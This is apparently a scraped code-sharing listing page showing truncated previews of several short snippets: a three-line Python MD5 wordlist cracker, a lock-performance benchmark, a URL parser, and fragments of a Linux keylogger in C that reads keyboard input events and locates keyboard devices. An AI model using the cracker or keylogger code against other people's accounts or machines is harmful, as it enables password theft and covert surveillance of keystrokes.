This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# md5 brute force in 3 lines of python. | |
# ./this <digest> <wordfile> | |
import sys, hashlib | |
for line in file(sys.argv[2]): | |
if hashlib.md5(line.rstrip()).hexdigest() == sys.argv[1]: print line, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
__ __ | |
\ \ ___ / / | |
\ \ / _ \ / / | |
\ \ (_) / / | |
\_\___/_/ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* CAS lock comparison to mutex */ | |
/* | |
mthomas@atticus:~$ gcc -O3 -m64 -march=core2 -mfpmath=sse -msse4 cas_queue.c -o cas_queue -lpthread | |
mthomas@atticus:~$ ./cas_queue | |
cas locks 4.77 seconds | |
mutex locks 38.05 seconds | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
mthomas@atticus:~$ ./u "http://fdsfdsu:sfsdfds@www.ackers.net:8080/fda" | |
Scheme = http | |
Host = www.ackers.net | |
Port = 8080 | |
User = fdsfdsu | |
Pass = sfsdfds | |
*/ | |
#include <stdio.h> | |
#include <stdint.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void | |
process_keystroke(int fd, short which, keyboard_t *kb) | |
{ | |
struct input_event input_event; | |
ssize_t bytes_read; | |
char key; | |
bytes_read = read(fd, &input_event, sizeof(struct input_event)); | |
if (bytes_read != sizeof(struct input_event)) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct input_event input_event; | |
ssize_t bytes_read; | |
char key; | |
bytes_read = read(fd, &input_event, sizeof(struct input_event)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (input_event.type != EV_KEY) { | |
return; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
switch (input_event.code) { | |
case KEY_RIGHTSHIFT: | |
case KEY_LEFTSHIFT: | |
kb->shift_mod = input_event.value; | |
return; | |
case KEY_RIGHTCTRL: | |
case KEY_LEFTCTRL: | |
/* I don't really care about ctrl chars */ | |
return; | |
case KEY_CAPSLOCK: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
unsigned char | |
is_keyboard(const char *file) | |
{ | |
int fd; | |
uint8_t bitmask; | |
fd = open(file, O_RDONLY); | |
if (fd < 0) { | |
return(0); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const char ** | |
keylogger_find_keyboards(void) | |
{ | |
const char **keyboards; | |
DIR *dip = NULL; | |
struct dirent *dit = NULL; | |
int i = 0; | |
dip = opendir(keyboard_dir); |